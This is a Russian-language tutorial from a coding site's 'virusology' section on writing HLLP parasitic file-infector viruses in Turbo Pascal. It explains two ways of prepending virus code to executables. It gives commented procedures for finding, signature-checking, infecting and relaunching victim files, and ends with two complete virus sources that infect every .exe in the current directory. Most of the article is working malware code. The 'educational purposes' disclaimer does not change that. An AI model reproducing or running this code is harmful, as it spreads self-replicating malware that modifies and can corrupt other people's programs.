Пятница, 26.04.2024, 19:54 Приветствую вас Гость | Группа "Гости" 
Меню сайта

Категории раздела
Вирусология [40]
Статьи о вирусах
Системные [1]
Работа с системой
Примеры [45]
Приёмы, функции, процедуры
Ceти [1]
Работа с интернет
Шуточные программы [5]
Пишем шуточные программки
Остальное [6]
Всё что не вошло

Популярные статьи

Недавние темы

Опрос
Оцените сайт
Всего ответов: 412

Главная » Статьи » Delphi » Вирусология

HLLP вирус на Turbo Pascal
В целом принципы работы HLLP вирей, как и остальных типов, я весьма, дотошно рассмотрел в уроке 2, но дабы не заставлять вас снова перечитывать ту статью, я приведу эти принципы заново. Не посчитайте это оффтопом, так как в целом статья будет весьма содержательной и эти мелкие повторения моих же слов, добавят ей читабельности, что очень важно для статьи, делающей упор на принцип.
[OFFTOP=http://xakep.su/7-fajjlovye-virusy-urok-2.html]
- HLLP (Parasitic) – Паразит… Заражение и запуск у этих вирей происходит в основном двумя способами:
1 способ. Заражение: Вирус копирует себя во временную папку с временным именем, далее копирует в конец того временного файла тело жертвы, а затем удаляет жертву а временный файл переименует в имя жертвы. Есть второй вариант этого заражение, он не требует временного файла, при нём выделяется два буфера – в первый считывается тело виря, а во второй – тело жертвы, а затем эти буферы с перезаписью пишутся в файл. Т.о. после заражения, файл выглядит примерно так:
1байт виря…..Последний (VirSize) байт виря, 1байт жертвы…... Последний байт жертвы. 
Запуск: При запуске зараженного файла, ясен пень, запускается вирус, находит ещё жертвы, заражает их, а затем из себя извлекает тело жертвы во временный файл и запускает его. Так же можно запустить прогу непосредственно в память из себя, об этом будет в примерах рассказываться в других уроках. В вирусах на языках DOS возможно просто изменить свою прогу в режиме, пока она запущена и некоторые вири просто для запуска жекртвы удаляют себя из жертвы и запускают её, красивый способ, и он так же будет рассмотрен, как и все другие, со временем конечно.

2 способ. Заражение: Этот способ заражение красивее первого в том отношении, что не требуется создание временного файла при заражении, или выделение крупных буферов для тела жертвы. Способ заключается в том, что сначала у жертвы копируется кусок из начала в конец размером, как вирус, а затем на место первых VirSize байт жертвы пишется тело виря. Т.о. после заражения, файл выглядит примерно так:
1байт виря…..Последний (VirSize) байт виря, VirSize+1 байт жертвы…Последний байт жертвы, 1 байт жертвы… VirSize байт жертвы. (т.е. 3 фрагмента)
Запуск: С запуском в общем-то нет ни каких проблем, он делается теми же фишками, что и в первом способе, только с поправкой на то что тело жертвы необходимо восстановить, а именно сначала взять кусок из конца (1 фрагмент жертвы), а затем кусок идущий после виря (2 фрагмент жертвы)..
[/OFFTOP]
. Надеюсь, что-то из, выше сказанного, засело вам на корке мозга, так что предлагаю перейти к реализации. 
. По накатанной схеме, думаю, стоит, опять определиться с основными функциональными моментами этого типа вирусов:
- Процедура поиска жертв (FindFile)
- Процедура проверки заражённости (CheckInfect)
- Процедура заражения жертв (Infect)
- Процедура запуска жертвы из себя (InRun)

Для начала напишем процедуру заражения первого и второго типа:
1 тип заражения – смещения жертвы в конец.
const
  VirSize=2864;//Размер вируса
Procedure Infect(path : string);//Передаём процедуре путь к жертве
var
  F1,F2 : file;//Файловые переменные
  NR,NW : Word;//Переменные пересчёта
  BufVir : array[1..VirSize] of Char;//Буфер для передачи виря в одном буфере
  Buf : array[1..2048] of Char;//Буфер для передачи жертвы
begin
  Assign(F1, ParamStr(0));//Ассоциируем F1 с путём к себе
  Reset(F1, 1);//Открываем себя
  Assign(F2, '$$$');//Ассоциируем F2 с путём к временному файлу
  Rewrite(F2, 1);//Открываем с созданием временный файл
  BlockRead(F1, BufVir, VirSize, NR);//Читаем себя в буфер
  BlockWrite(F2, BufVir, NR);//Пишем себя в файл
  Close(F1);//Закрываем себя
  Assign(F1, path);//Ассоциируем F1 с путём к жертве
  Reset(F1, 1);//Открываем жертву
  repeat
  BlockRead(F1, Buf, SizeOf(Buf), NR);
  BlockWrite(F2, Buf, NR, NW);
  until (NR = 0) or (NW <> NR);//Цикл копирования жертвы в конец временного файла
  Close(F1);//Закрытие жертвы
  Erase(F1);//Удаление жертвы
  Close(F2);//Закрытие временного файла
  Rename(F2,path);//Переименование временного файла в имя жертвы
end;



2 тип заражения – перенос из начала фрагмента жертвы в конец и перезапись начала телом вируса

const
  VirSize=3072;//Размер вируса
Procedure Infect(path : string);// Передаём процедуре путь к жертве
var
  F1,F2 : file;//Фйловые переменные
  NR : Word;
  BufVir : array[1..VirSize] of Char;//Буфер переноса фрагмента жертвы и тела вируса
begin
  Assign(F1, path);//Ассоциируем переменную F1 с путём к жертве
  Reset(F1, 1);//Открываем жертву
  BlockRead(F1, BufVir, VirSize, NR);//Читаем VirSize байт жертвы в начале
  seek(F1,FileSize(F1));//Переходим в конец жертвы
  BlockWrite(F1, BufVir, NR);//Пишем буфер – жертва стала больше на VirSize
  Assign(F2, ParamStr(0));//Ассоциируем F2 с путём к себе
  Reset(F2, 1);//Открываем себя
  BlockRead(F2, BufVir, VirSize, NR);//Читаем себя в буфер
  seek(F1,0);//Переходим в начало жертвы
  BlockWrite(F1, BufVir, NR);//Пишем себя с перезаписью в начало
  Close(F1);//Закрываем жертву
  Close(F2);//Закрываем себя
end;


. Я думаю, что все обратили внимания, что второй способ, значительно перспективней, т.к., он намного быстрей, т.к. не требуется создание временного файла, удаления жертвы и копирования большого тела жертвы. Необходимо, всего лишь перенести буфер размером VirSize два раза. Да и реализация, намного менее запутанная. В целом, считаю рациональным применять только этот метод заражения, но т.к. это теоретический обзор, то считаю нужным рассмотреть оба метода. Плавно переходим дальше…
. Процедура проверки заражённости файла, будет брать как бы сигнатуру своего файла и проверять её наличие в теле жертвы, если нет – заражаем, если есть – пропускаем (мы же не хотим испортить файл). Так, или примерно так будет выглядить функция проверки зараженности на Turbo Pascal эта функция единая для обоих типов HLLP вируса, этот метод в общем-то не самый простой, но весьма надёжный:
function CheckInfect(path : string):boolean;{Функции передаётся параметр – путь к файлу}
const
  SignSize = 8;{Размер сигнатуры}
  SignPos = 666;{Позиция начала сигнатуры}
type
  Bufer = array [1..SignSize] of char;{Тип – буфера чтения сигнатуры}
var
  b : boolean;{промежуточная переменная}
  F1 : file;{файловая переменная для себя}
  F2 : file;{файловая переменная для жертвы}
  SignBuf : Bufer;{Буфер сигнатуры}
  VictBuf : Bufer;{Буфер сигнатуры жертвы}
begin
  Assign(F1, Paramstr(0));{Ассоциируем F1 с путём к себе}
  Assign(F2, path);{Ассоциируем F2 с путем к жертве}
  Reset(F1,1);{Открываем себя}
  Reset(F2,1);{Открываем жертву}
  seek(F1,SignPos);{Переходим в себе на позиция сигнатуры}
  seek(F2,SignPos);{Переходим в жертве на позицию сигнатуры}
  BlockRead(F1,SignBuf,SignSize);{Читаем сигнатуру в себе}
  BlockRead(F2,VictBuf,SignSize);{Читаем сигнатуру в жертве}
  if SignBuf<>VictBuf{если сигнатуры не равно то..}
  then b:=true
  else b:=false;
  Close(F1);{Закрываем себя}
  Close(F2);{Закрываем жертву}
  CheckInfect:=b;{Значение функции равно результату проверки равенства сигнатур}
end;

. Как видите всё весьма просто.. Константы, размера и позиции сигнатуры, мы вибираем сами, это не очень критично – единственное ограничение – размер вируса (VirSize).
. Теперь обмозгуем процедуру, восстановления и запуска жертвы из себя. Что нам требуется? 
- Проверить необходимость запуска – если вирус в чистом виде запуск не нужен.
- Исходя из типа заражения, восстановить жертву до рабочего состояния.
- Запустить жертву.
. Соответственно, для обоих типов исходя из второго пункта, требуемых задач, эти процедуры будут выглядить, по-разному. 
. Процедура запуска жертвы (InRun) для типа заражения со смещением жертвы в конец (1 тип) будет в нашем тестовом зверьке выглядить так:
Procedure InRun;{Ппоцедура запуска жертвы – без параметров}
var
  f : file;
  NR : Word;
  NW : Word;
  tmp : file;
  Buf : array [1..2048] of Char;
begin
  Assign(f,Paramstr(0));{Ассоциируем F с путем к себе}
  reset(f,1);{открываем себя}
  if FileSize(f)>VirSize then{если размер себя больше VirSize то..}
  begin
  Assign(tmp,’$$$.exe’);{Ассоциируем tmp с путем к временному файлу}
  rewrite(tmp,1);{открываем файл с созданием}
  seek(f,VirSize);{переходим в себе на позицию начала жертвы}
  repeat{Выполняем цикл переноса тела жертвы во временный файл}
  BlockRead(F, Buf, SizeOf(Buf), NR);{читаем буфер}
  BlockWrite(tmp, Buf, NR, NW);{пишем буфер}
  until (NR = 0) or (NW <> NR);
  Close(tmp);{закрываем tmp}
  exec(‘$$$.exe’,'');{запускаем жертву}
  Erase(tmp);{по завершению жертвой работы – удаляем tmp}
  end;
  Close(f);{закрываем себя}
end;

. Недостаток этого типа в его запуске так же на лицо – необходимость временного файла для извлечения тела жертвы. А, если например, черное ДОСовское окно вируса будет убито до завершения работы жертвы, то временный файл не будет удалён – печально, но есть же и второй тип, который намного веселей, переходим к нему. 
. Процедура запуска жертвы для виря второго типа в моём нехитром исполнении имеет вид (слабонервным любителям виндячего программирования, строго запрещено юзать эту процедуру, т.к. по принципам винды поведение этой процедуры виглядит мягко говоря ужасающе):
Procedure InRun;{Процедура запуска жертвы – без параметров}
var
  f : file;
  NR : Word;
  Buf : array [1..VirSize] of Char;
begin
  Assign(f,Paramstr(0));{Ассоциируем F с путем к себе}
  reset(f,1);{открываем себя}
  if FileSize(f)>VirSize then{если размер себя больше VirSize то..}
  begin
  seek(f,FileSize(f)-VirSize);{переходим на VirSize-ный с конца байт – начало перенесённого фрагмента}
  BlockRead(F, Buf, SizeOf(Buf), NR);{читаем весь фрагмент в буфер}
  seek(f,0);{переходим в начало себя}
  BlockWrite(F, Buf, NR);{в этом месте, каким-то чудесным образом, пишем в себя, то что было в конце – ужас!!!!}
  seek(f,FileSize(f)-VirSize);{переходим обратно в конец}
  TrunCate(f);{отрезаем в конце себя!!! Лишний кусок}
  Close(f);{закрываем себя – стоит обратить внимание, что после закрытия файла вируса уже нету в жертве))) – он сделал харакири – но успел наплодить нехилое количество приплода}
  exec(ParamStr(0),'');{Запускам… блин не могу смешно.. – себя!!!! Где можно, ещё такое встретить??}
  end
  else Close(f);{это место сработает если вирь запущен в чистом виде}
end;


Я думаю, что мало кого не заулыбал этот метод запуска жертвы)) В общем-то как уже стало ясно, второй тип HLLP после запуска зараженной проги находит жертвы, а после этого удаляет себя из той проги в которой жил и запускает её))) Весьма отчаяный ход..

Основная часть вирусов – а это поиск файлов и своевременный вызов процедур и функций вируса, в моём случае реализовано для обоих типов одинаково. Вот этот код:

var
  sr:searchrec;{поисковая переменная}
begin
  findfirst('*.exe',$39,sr);{поиск ехе с любыми атрибутами}
  while doserror=0 do{поиск до появления ошибки}
  begin
  if CheckInfect(sr.name){Если файл не заражён то…}
  then Infect(sr.name);{Заражаем}
  findnext(sr);{Ищем следующий}
  end;
  InRun;{Запуск жертвы }
end.

. Ну в общем-то на этом я считаю разборку паскальных HLLP можно считать оконченной.. Ниже я приведу полностью готовые исходники описанных вирусов двух типов, разница между написанным выше будет в том, что здесь, я полностью оптимизировал переменные и типы, подобрал VirSize и устранил комментарии – если что-то не понятно смотрим коменты в статье..

1 тип вируса HLLP

Program VirusHLLP1_execom; {xakep.su}
{$M 65520,0,0}
uses dos;
const
  VirSize = 4976;
  TmpName = '$$$.exe';

var
  Buf : array[1..2048] of Char;

function CheckInfect(path : string):boolean;
const
  SignSize = 8;
  SignPos = 666;
type
  Bufer = array [1..SignSize] of char;
var
  b : boolean;
  F1 : file;
  F2 : file;
  SignBuf : Bufer;
  VictBuf : Bufer;
begin
  Assign(F1, Paramstr(0));
  Assign(F2, path);
  Reset(F1,1);
  Reset(F2,1);
  seek(F1,SignPos);
  seek(F2,SignPos);
  BlockRead(F1,SignBuf,SignSize);
  BlockRead(F2,VictBuf,SignSize);
  if SignBuf<>VictBuf
  then b:=true
  else b:=false;
  Close(F1);
  Close(F2);
  CheckInfect:=b;
end;

Procedure Infect(path : string);
var
  F1,F2 : file;
  NR,NW : Word;
  BufVir : array[1..VirSize] of Char;
begin
  Assign(F1, ParamStr(0));
  Reset(F1, 1);
  Assign(F2, TmpName);
  Rewrite(F2, 1);
  BlockRead(F1, BufVir, VirSize, NR);
  BlockWrite(F2, BufVir, NR);
  Close(F1);
  Assign(F1, path);
  Reset(F1, 1);
  repeat
  BlockRead(F1, Buf, SizeOf(Buf), NR);
  BlockWrite(F2, Buf, NR, NW);
  until (NR = 0) or (NW <> NR);
  Close(F1);
  Close(F2);
  Erase(F1);
  Rename(F2,path);
end;

Procedure InRun;
var
  f : file;
  NR : Word;
  NW : Word;
  tmp : file;
begin
  Assign(f,Paramstr(0));
  reset(f,1);
  if FileSize(f)>VirSize then
  begin
  Assign(tmp,TmpName);
  rewrite(tmp,1);
  seek(f,VirSize);
  repeat
  BlockRead(F, Buf, SizeOf(Buf), NR);
  BlockWrite(tmp, Buf, NR, NW);
  until (NR = 0) or (NW <> NR);
  Close(tmp);
  exec(TmpName,'');
  Erase(tmp);
  end;
  Close(f);
end;

var
  sr:searchrec;
begin
  findfirst('*.exe',$39,sr);
  while doserror=0 do
  begin
  if CheckInfect(sr.name)
  then Infect(sr.name);
  findnext(sr);
  end;
  InRun;
end.


2 тип вируса HLLP

Program VirusHLLP2_execom; {xakep.su}
{$M 65520,0,0}
uses dos;
const
  VirSize = 4832;

var
  BufVir : array[1..VirSize] of Char;

function CheckInfect(path : string):boolean;
const
  SignSize = 8;
  SignPos = 666;
type
  Bufer = array [1..SignSize] of char;
var
  b : boolean;
  F1 : file;
  F2 : file;
  SignBuf : Bufer;
  VictBuf : Bufer;
begin
  Assign(F1, Paramstr(0));
  Assign(F2, path);
  Reset(F1,1);
  Reset(F2,1);
  seek(F1,SignPos);
  seek(F2,SignPos);
  BlockRead(F1,SignBuf,SignSize);
  BlockRead(F2,VictBuf,SignSize);
  if SignBuf<>VictBuf
  then b:=true
  else b:=false;
  Close(F1);
  Close(F2);
  CheckInfect:=b;
end;


Procedure Infect(path : string);
var
  F1,F2 : file;
  NR : Word;
begin
  Assign(F1, path);
  Reset(F1, 1);
  BlockRead(F1, BufVir, VirSize, NR);
  seek(F1,FileSize(F1));
  BlockWrite(F1, BufVir, NR);
  Assign(F2, ParamStr(0));
  Reset(F2, 1);
  BlockRead(F2, BufVir, VirSize, NR);
  seek(F1,0);
  BlockWrite(F1, BufVir, NR);
  Close(F1);
  Close(F2);
end;

Procedure InRun;
var
  f : file;
  NR : Word;
begin
  Assign(f,Paramstr(0));
  reset(f,1);
  if FileSize(f)>VirSize then
  begin
  seek(f,FileSize(f)-VirSize);
  BlockRead(F, BufVir, SizeOf(BufVir), NR);
  seek(f,0);
  BlockWrite(F, BufVir, NR);
  seek(f,FileSize(f)-VirSize);
  TrunCate(f);
  Close(f);
  exec(ParamStr(0),'');
  end
  else Close(f);
end;

var
  sr:searchrec;
begin
  findfirst('*.exe',$39,sr);
  while doserror=0 do
  begin
  if CheckInfect(sr.name)
  then Infect(sr.name);
  findnext(sr);
  end;
  InRun;
end.


. Первый тип вышел в 100 строку и вес ехе-шника 4976 байта, а второй соответственно 90 строк и 4832 байта, в общем, даже по этим параметрам второй тип заражения лучше и качественней.. Поэтому вам решать какой вам применять, а лучше конечно же приходить к чему-то своему, и не забывать о том что всё написанное в этом и других моих уроках исключительно в учебных целях..


xakep.su

Категория: Вирусология | Добавил: dolphin (02.08.2008) | Автор: Женёк
Просмотров: 4690 | Комментарии: 2 | Рейтинг: 5.0/1

Всего комментариев: 2
avatar
2
Для новичков ничего, но на Паскале беспантово писать, так как нет визуала dry . Но все равно +1.
avatar
1
Вирусы супер но я ещё ошибки исправил! dry
avatar
Профиль


Логин:
Пароль:

Поиск

Наша кнопка
Вирусология, взгляд из Delphi

Статистика
Top.Mail.Ru Яндекс.Метрика Счетчик тИЦ и PR
Статистика материалов
Файлов: 454
Форум: 1165/8116
Коментариев: 768
Новостей: 29

Статистика пользователей
Всего: 332
За неделю: 1
Вчера: 0
Сегодня: 0
Всего онлайн: 1
Гостей: 1
Пользователей: 0

delphicode.ru © 2008 - 2024 Хостинг от uCoz